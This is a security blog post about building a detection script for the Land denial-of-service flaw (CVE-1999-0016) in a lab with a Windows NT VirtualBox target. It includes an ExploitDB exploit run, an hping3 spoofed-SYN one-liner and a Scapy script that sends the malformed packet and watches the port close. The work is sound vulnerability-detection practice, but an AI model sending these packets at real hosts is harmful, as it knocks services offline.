Making CVE-1999-0016 (landc) vulnerability detection script for Windows NT

The fair question is why in 2018 someone might want to deal with Windows NT and vulnerabilities in it. Now Windows NT is a great analogue of DVWA (Damn Vulnerable Web Application), but for operating systems. There are a lot of well-described vulnerabilities with ready-made exploits. A great tool for practising.

Making CVE-1999-0016 (landc) vulnerability detection script for Windows NT

Well, despite the fact that this operating system is not supported since 2004, it can be used in some weird legacy systems. 😉

Vulnerability description

CVE-1999-0016 description from NVD:

Land IP denial of service.

A very short and unusual description for NVD, right? 🙂

But still there is a list of vulnerable systems:


Preparing a stand

So, to reproduce it and debug a detection script we need to create a working stand.

NB. I was choosing from NetBSD 1.1, Windows 95 and Windows NT, because they are easiest to run in virtualized environment. I chose NetBSD at first, but then rejected it because of the problems with floppy disk images not supported by VirtualBox:

I also felt that there also might be some problems with network configuration. So, I decided not to spend time on this and chose Windows NT server instead.

Well, Windows NT is an abondonware and, despite the fact that Microsoft has all the rights on it, there are plenty sites where you can download distribution CD iso.

The whole installation and configuration process in VirtualBox was pretty straightforward. Note that “PCnet-PCI 2” network adaptor should be used.

Windows NT4 Server

As a result in I’ve got Dabian server as an attacker’s host and Windows NT server as a target in one VirtualBox network. And I could scan Windows NT nmap for example:

root@debian:/home/aleonov# nmap

Starting Nmap 7.40 ( ) at 2018-10-19 15:31 MSK
Nmap scan report for
Host is up (0.00089s latency).
Not shown: 994 closed ports
21/tcp open ftp
70/tcp open gopher
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
1028/tcp open unknown
MAC Address: 08:00:27:9A:04:20 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 3.47 seconds

Here is fully functional Microsoft IIS from 1996:

Microsoft IIS


The next step was to exploit the vulnerability. I have tried these exploits from ExploitDB.

Most of them have problems with compilation or execution but I was able to use this one:

# gcc -o 20814 20814.c; chmod +x 20814;
# ./20814 80
Packet sent. Remote machine should be down.

The target Windows NT host was frozen for some time after the packet was send.


So I started to think how to detect that the attack was successful. I made the small bash script that was constantly checking the state of the port. After the attack the open port become closed for some time.

# a=0; while true; do nmap -p 139 | grep "139"; a=$(($a+1)); echo "$a"; done;
139/tcp open netbios-ssn
139/tcp open netbios-ssn
139/tcp open netbios-ssn
139/tcp open netbios-ssn
139/tcp closed netbios-ssn
139/tcp closed netbios-ssn

So the idea was to check that the port is open, then send a malicious packet and if the port become closed the host is vulnerable. And if the port was still open the host is NOT vulnerable.

Then I also figured out that we can get the same effect by sending one syn packet where source port and ip are the same as destination port and ip. This was an idea behind an initial attack. And actually we can do it just with:

hping3 -s 139 -p 139 -S -a -c 1

So then I was looking how to script this in Python and finally used Scapy module ( for sending and receiving packets:


from scapy.all import *
import sys
import time

target = sys.argv[1]
port = int(sys.argv[2])


SYNACKpkt = sr1(IP(dst=target) /
                TCP(dport=port, flags="S"), timeout = 5, verbose = False)
if SYNACKpkt:
    pktflags = SYNACKpkt.getlayer(TCP).flags
    print("Connection Error")

if pktflags == "SA":
    print("Port " + str(port) + " is open, ready for check...")

    SYNACKpkt = sr1(IP(dst=target, src = target) /
                    TCP(sport=port, dport=port, flags="S"), timeout = 5, verbose = False)
    print("Malformed packet sent")

    SYNACKpkt = sr1(IP(dst=target) /
                    TCP(dport=port, flags="S"), timeout = 5, verbose = False)
    pktflags = SYNACKpkt.getlayer(TCP).flags
    if pktflags == "RA":
        print("Port " + str(port) + " become closed -> Host is vulnerable")
    if pktflags == "SA":
        print("Port " + str(port) + " is still open -> Host is NOT vulnerable")
elif pktflags == "RA":
    print("Port " + str(port) + " is closed, nothing to check")

And here are some examples of how I was running the script against vulnerable target and some other hosts:

# easy_install pip
# pip2.7 install scapy

# ./ 139
Port 139 is open, ready for check...
Malformed packet sent
Port 139 become closed -> Host is vulnerable

# ./ 80
Port 80 is open, ready for check...
Malformed packet sent
Port 80 is still open -> Host is NOT vulnerable

# ./ localhost 123
Connection Error

Alternative ways of detection

The check is a bit dangerous because it actually affects the host. It is temporal but still. So I also was looking for alternative ways of detection. But I haven’t found much.
Here are version-based checks for Cisco and HP-UX in SCAP format:

The same check for HPUX wes realized in Nessus as well:

16850 HP-UX PHNE_14017 : s700_800 11.00 cumulative ARPA Transport patch

Nessus also has an active check for the vulnerability:

10133 TCP/IP SYN Loopback Request Remote DoS (land.c)

I watched the code of it. It is based on the same principle: attack and see if the target port is still open. So pretty much like my script.

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.